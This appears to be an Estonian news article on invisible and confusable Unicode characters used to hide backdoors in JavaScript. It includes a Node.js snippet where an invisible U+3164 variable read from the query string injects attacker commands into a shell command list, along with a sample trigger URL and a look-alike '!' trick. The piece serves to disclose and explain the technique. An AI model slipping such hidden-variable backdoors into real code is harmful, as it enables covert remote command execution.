Nähtamatute unicode-märkide kasutamine toimingute peitmiseks JavaScripti koodis

Pärast Trooja allika ründemeetodit, mis põhineb Unicode'i märkide kasutamisel, mis muudavad kahesuunalise teksti kuvamisjärjekorda, on avaldatud teine ​​​​tehnika peidetud toimingute tutvustamiseks, mis on kohaldatav JavaScripti koodile. Uus meetod põhineb unicode märgi “ㅤ” (kood 0x3164, “HANGUL FILLER”) kasutamisel, mis kuulub tähtede kategooriasse, kuid millel puudub nähtav sisu. Unicode'i kategooria, millesse see märk kuulub, on alates ECMAScript 2015 spetsifikatsioonist lubatud kasutada JavaScripti muutujate nimedes, võimaldades luua nähtamatuid muutujaid või uusi muutujaid, mis pole populaarsetes koodiredaktorites, nagu Notepad++ ja VS Code, muudest muutujatest eristatavad.

Näitena on toodud Node.js platvormi kood, milles ühest märgist "ㅤ" koosneva muutuja abil on peidetud tagauks, mis võimaldab käivitada ründaja määratud koodi: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // tegelikult ütleb see "const { timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // komale järgneb märk \u3164 ];

Esmapilgul edastatakse välise parameetri kaudu ainult ajalõpu väärtus ja massiiv koos täidetavate käskudega sisaldab kahjutut fikseeritud loendit. Kuid tegelikult määratakse pärast aegumismuutujat teise nähtamatu muutuja väärtus märgikoodiga \u3164, mis samuti asendatakse käivitatavate käskude massiiviga. Seega, kui selline kujundus on saadaval, võib ründaja saata tagaukse aktiveerimiseks ja oma koodi käivitamiseks päringu, näiteks „https://host:8080/network_health?%E3%85%A4=command”.

Teine näide on märk "ǃ" (ALVEOLAR CLICK), mida saab kasutada hüüumärgi näidu andmiseks. Näiteks avaldis “if(environmentǃ=ENV_PROD){”, kui seda käivitatakse versioonis Node.js 14, on alati tõene, kuna see ei kontrolli erinevusi, vaid määrab ENV_PROD väärtuse muutujale “environmentǃ”. Muud eksitavad unicode-märgid on "/", "−", "+", "⩵", "❨", "⫽", "꓿" ja "∗".

Allikas: opennet.ru

Lisa kommentaar